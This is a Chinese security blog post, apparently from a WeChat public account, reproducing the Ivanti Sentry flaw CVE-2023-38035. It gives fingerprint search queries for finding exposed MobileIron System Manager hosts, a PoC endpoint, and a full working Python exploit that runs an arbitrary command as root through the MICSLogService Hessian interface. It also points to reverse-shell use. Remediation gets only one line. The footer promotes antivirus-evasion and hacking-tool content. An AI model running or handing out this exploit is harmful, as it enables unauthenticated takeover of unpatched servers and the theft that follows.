0x01 前言
0x02 影响平台
Ivanti Sentry 9.18、9.17、9.16、9.15及以下
0x03 漏洞复现
搜索语法
title="MobileIron System Manager"
body="Requires a local Sentry administrative user"
页面是这个酱紫
PoC如下,访问这个payload若存在未授权则存在漏洞:
/mics/services/MICSLogService
Success~
反弹shell可以直接利用GitHub大佬写好的脚本
后台回复38305也可获取
https://github.com/horizon3ai/CVE-2023-38035
from pyhessian.client import HessianProxy
from http.client import HTTPSConnection
import ssl
import sys
import argparse
import requests
import urllib3
urllib3.disable_warnings()
# Backup original constructor
_original_https_init = HTTPSConnection.__init__
def patched_https_init(self, *args, **kwargs):
# If context is not provided, use unverified context
if 'context' not in kwargs:
kwargs['context'] = ssl._create_unverified_context()
_original_https_init(self, *args, **kwargs)
def exploit(base_url, command):
# Define the Hessian service endpoint
service_url = f"{base_url}/mics/services/MICSLogService"
r = requests.get(service_url, verify=False)
if r.status_code != 405:
print('[-] Vulnerable endpoint was not reachable - bailing')
sys.exit()
# Monkey-patch the constructor
HTTPSConnection.__init__ = patched_https_init
dto = {
"command": command,
"isRoot": True,
}
# Create a Hessian proxy for the service
proxy = HessianProxy(service_url)
# Call a method on the Hessian service:
details = proxy.uploadFileUsingFileInput(dto, None)
if details:
print('[+] Successfully executed command on target!')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The URL of the target', required=True)
parser.add_argument('-c', '--cmd', help='The command to run', required=True)
args = parser.parse_args()
exploit(args.url, args.cmd)
0x04 修复方案
建议及时更新至最新版本!
【漏洞系列】
【漏洞系列】
【漏洞系列】
叮~你有新的速递!CVE-2023-29922漏洞(附脚本)
【漏洞系列】
【漏洞系列】
【漏洞系列】
【免杀系列】
【免杀系列】
【免杀系列】
【免杀系列】
【移动安全】
【移动安全】
觉得内容不错,就点下“赞”和“在看”
如侵权请私聊公众号删文
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...